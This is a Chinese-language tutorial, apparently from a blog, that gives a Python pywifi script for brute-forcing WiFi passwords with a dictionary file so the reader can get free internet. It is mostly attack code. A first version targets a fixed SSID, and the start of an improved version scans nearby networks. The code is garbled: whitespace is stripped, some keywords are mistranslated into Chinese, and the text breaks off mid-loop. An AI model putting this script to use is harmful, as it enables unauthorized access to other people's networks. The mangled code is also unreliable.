前言本文将与大家分享如何使用Python脚本实现暴力攻防WIFI密码,实现免费上网。开发工具Python版本:3.8相关模块:pywifi模块环境搭建安装Python并添加到环境变量中,pip安装需要的相关模块。文中密码本可留言获取。无GUI代码实现importpywififrompywifiimportconstimporttimeimportdatetime#测试连接并返回链接结果defwifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()ifwifistatus==const.IFACE_DISCONNECTED:#createWiFiconnectionprofile=pywifi.Profile()#to连接WiFi名称profile.ssid="Tr0e"#网卡开启状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接的wifi文件ifaces.remove_all_network_profiles()#设置一个新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(2)如果ifaces.status()==const.IFACE_CONNECTED:重新turnTrueelse:returnFalseelse:print("wificonnectionalreadyexists")#读取密码本defreadPassword():success=Falseprint("*******************WIFI攻防*******************************************************************************************************************************************************************************d,密码本路径path="pwd.txt"#打开文件file=open(path,"r")start=datetime.datetime.now()whileTrue:try:pwd=file.readline()#去掉密码末尾的换行符pwd=pwd.strip('\n')bool=wifiConnect(pwd)ifbool:print("[*]密码已被攻防:",pwd)print("[*]WiFi已自动连接!!!")success=Truebreakelse:#跳出当前循环,进行下一个循环print("攻防WIFISSID%s密码,当前验证密码为:%s"%("Tr0e",pwd))except:continueend=datetime.datetime.now()if(success):print("[*]这次是崩溃kWIFI密码一用了多长时间:{}".format(end-start))else:print("[*]抱歉,我无法帮你查出当前指定WIFI的密码,请修改密码字典再试一次!")exit(0)if__name__=="__main__":readPassword()代码运行效果:脚本优化上面的脚本需要嵌入WIFI名称和爆破字典路径,缺乏灵活性。下面进行改造优化:importpywifiimporttimefrompywifiimportconst#WiFi扫描模块defwifi_scan():#初始化wifiwifi=pywifi.PyWiFi()#使用第一个无线网卡接口=wifi.interfaces()[0]#开始扫描interface.scan()foriinrange(4):time.sleep(1)print('\rScanningavailableWiFi,pleasewait...('+str(3-i),end=')')print('\r扫描完成!\n'+'-'*38)print('\r{:4}{:6}{}'.format('number','signalstrength','wifiname'))#扫描结果,scan_results()返回一个集合,里面存储了每个wifi对象bss=interface.scan_results()#存储wifi名称setwifi_name_set=set()forwinbss:#解决乱码问题wifi_name_and_signal=(100+w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)#保存列表并排序通过信号wifi_name_list=list(wifi_name_set)wifi_name_list=sorted(wifi_name_list,key=lambdaa:a[0],reverse=True)num=0#格式化输出whilenum
